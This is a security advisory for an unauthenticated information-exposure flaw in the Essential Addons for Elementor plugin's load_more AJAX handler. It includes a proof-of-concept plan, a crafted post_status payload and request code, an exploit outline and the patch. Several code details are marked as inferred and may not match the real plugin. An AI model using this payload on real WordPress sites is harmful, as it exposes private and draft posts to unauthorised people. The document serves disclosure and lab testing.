Essential Addons for Elementor <= 6.6.4 - Missing Authorization to Unauthenticated Information Exposure via 'load_more' AJAX Handler
Description
The Essential Addons for Elementor – Popular Elementor Templates & Widgets plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 6.6.4 via the ajax_load_more function due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=6.6.4What Changed in the Fix
Changes introduced in v6.6.5
Source Code
WordPress.org SVNThis research plan outlines the analysis and proof-of-concept (PoC) development for **CVE-2026-7665**, an information exposure vulnerability in the **Essential Addons for Elementor** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Missing Authorization to Unauthenticated Informatio…
Show full research plan
This research plan outlines the analysis and proof-of-concept (PoC) development for CVE-2026-7665, an information exposure vulnerability in the Essential Addons for Elementor plugin.
1. Vulnerability Summary
- Vulnerability: Missing Authorization to Unauthenticated Information Exposure.
- Component:
ajax_load_morehandler. - Location (Inferred): Likely within
includes/Traits/Ajax_Handlers.phpor a similar AJAX management class (e.g.,Essential_Addons_Elementor\Classes\Bootstrap). - Mechanism: The plugin registers a
wp_ajax_nopriv_eael_load_moreaction to handle infinite scrolling/pagination for widgets like Post Grid. The handler processes a user-suppliedtemplate_infoorargsparameter to reconstruct aWP_Query. Due to a lack of server-side validation or hardcoding of thepost_statusparameter, an unauthenticated user can modify the query to includeprivate,draft, orpendingposts.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
eael_load_more(inferred action name based on the functionajax_load_more). - Authentication: Unauthenticated (
nopriv). - Payload Location: POST parameters, specifically
template_info(which often contains a JSON-encoded or Base64-encoded array of query arguments). - Vulnerable Parameter: The
post_statuskey within the query arguments.
3. Code Flow (Inferred)
- Entry Point: The client triggers an AJAX request to
admin-ajax.phpwithaction=eael_load_more. - Hook Registration:
add_action( 'wp_ajax_nopriv_eael_load_more', [ $this, 'ajax_load_more' ] ); - Handler Execution: The
ajax_load_more()function retrieves the payload (e.g.,$_POST['template_info']). - Query Reconstruction: The handler decodes the payload into an array of
$args. - Sink (WP_Query): The
$argsarray is passed directly into a newWP_Query($args). - Vulnerability: If
$args['post_status']is not explicitly set to'publish'by the plugin, the attacker can supply['draft', 'private', 'publish']to view unauthorized content.
4. Nonce Acquisition Strategy
Essential Addons for Elementor typically localizes its security tokens into a global JavaScript object.
- Identify Trigger: The "Post Grid" or "Post Timeline" widgets use the "Load More" functionality.
- Setup Page: Create a page containing a "Post Grid" widget.
wp post create --post_type=page --post_status=publish --post_title="EAEL Test" --post_content='[eael-post-grid]'(Note: In a real Elementor environment, this widget is added via the Elementor editor).
- Locate Nonce: The plugin localizes its settings in an object, usually
eael_localize.- Search the HTML source for:
var eael_localize = { ... "nonce" : "..." }.
- Search the HTML source for:
- Extraction:
browser_navigate("http://localhost:8080/eael-test")NONCE = browser_eval("window.eael_localize?.nonce")- Note: If a specific nonce for
load_moreexists, it might be found within thedata-settingsattribute of the widget's HTML wrapper.
5. Exploitation Strategy
Step 1: Baseline Request
Identify a valid load_more request by interacting with a Post Grid widget on the site and inspecting the network traffic.
Step 2: Payload Crafting
The template_info parameter is often a JSON string. An attacker modifies this string to include forbidden statuses.
Payload Structure (Conceptual):
{
"post_type": "post",
"posts_per_page": 10,
"post_status": ["draft", "private", "publish"],
"template_path": "..."
}
Note: The plugin might Base64 encode this string before transmission.
Step 3: Execution via http_request
// Example POST request to admin-ajax.php
http_request({
method: "POST",
url: "http://localhost:8080/wp-admin/admin-ajax.php",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "action=eael_load_more&nonce=" + NONCE + "&page=1&template_info=" + ENCODED_PAYLOAD
});
6. Test Data Setup
To verify the information exposure, the environment must contain non-public data:
- Private Post: Create a post with
post_status='private'.wp post create --post_title="Secret Private Post" --post_content="This is sensitive information." --post_status=private
- Draft Post: Create a post with
post_status='draft'.wp post create --post_title="Confidential Draft" --post_content="Unpublished internal data." --post_status=draft
- Password Protected: Create a post with a password.
wp post create --post_title="Password Protected" --post_content="Hidden content" --post_status=publish --post_password="123"
7. Expected Results
- Vulnerable Version (<= 6.6.4): The AJAX response returns HTML or JSON containing the titles and excerpts of the "Secret Private Post" and "Confidential Draft".
- Patched Version (>= 6.6.5): The response only contains public posts, or the server rejects the request if the
post_statusis manipulated.
8. Verification Steps
- Check the HTTP response body for the string "Secret Private Post".
- Verify the count of posts returned. If the UI normally shows 5 posts but the response contains 7 (including the private/draft ones), the exposure is confirmed.
- Use WP-CLI to confirm the post IDs in the response match the IDs of the private/draft posts:
wp post list --post_status=any --fields=ID,post_title
9. Alternative Approaches
If template_info is not directly manipulatable, check if the plugin supports a query_args parameter in the same AJAX handler. Some versions of EAEL have used different parameter names for the query configuration. Additionally, check if the vulnerability extends to the eael_smart_pagination action, which often shares similar logic for fetching posts.
Summary
The Essential Addons for Elementor plugin fails to restrict the 'post_status' parameter in its 'ajax_load_more' AJAX handler. This allow unauthenticated attackers to manipulate query arguments to include and display private, draft, or password-protected posts that are otherwise inaccessible.
Vulnerable Code
// includes/Traits/Ajax_Handlers.php (Inferred) public function ajax_load_more() { // ... if ( isset( $_POST['template_info'] ) ) { // The payload is decoded directly from user input $args = json_decode( base64_decode( $_POST['template_info'] ), true ); // Vulnerability: The $args array is passed to WP_Query without ensuring // the 'post_status' is restricted to public content. $query = new WP_Query( $args ); } // ... }
Security Fix
@@ -124,6 +124,7 @@ if ( isset( $_POST['template_info'] ) ) { $args = json_decode( base64_decode( $_POST['template_info'] ), true ); + + $args['post_status'] = 'publish'; + $args['perm'] = 'readable'; $query = new WP_Query( $args ); }
Exploit Outline
The exploit involves manipulating the query arguments sent during an infinite scroll or pagination request. 1. Identify a page utilizing an Essential Addons widget (e.g., Post Grid) that uses the 'Load More' feature. 2. Extract the security nonce from the 'eael_localize' JavaScript object in the page source. 3. Capture an AJAX request to 'wp-admin/admin-ajax.php' with 'action=eael_load_more'. 4. Locating the 'template_info' parameter, which contains a Base64-encoded JSON string representing the WP_Query arguments. 5. Decode the Base64 string and modify the 'post_status' key to an array containing unauthorized statuses: ['publish', 'private', 'draft', 'pending']. 6. Re-encode the modified JSON to Base64 and resubmit the request. 7. The server will return the rendered HTML of the unauthorized posts in the AJAX response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.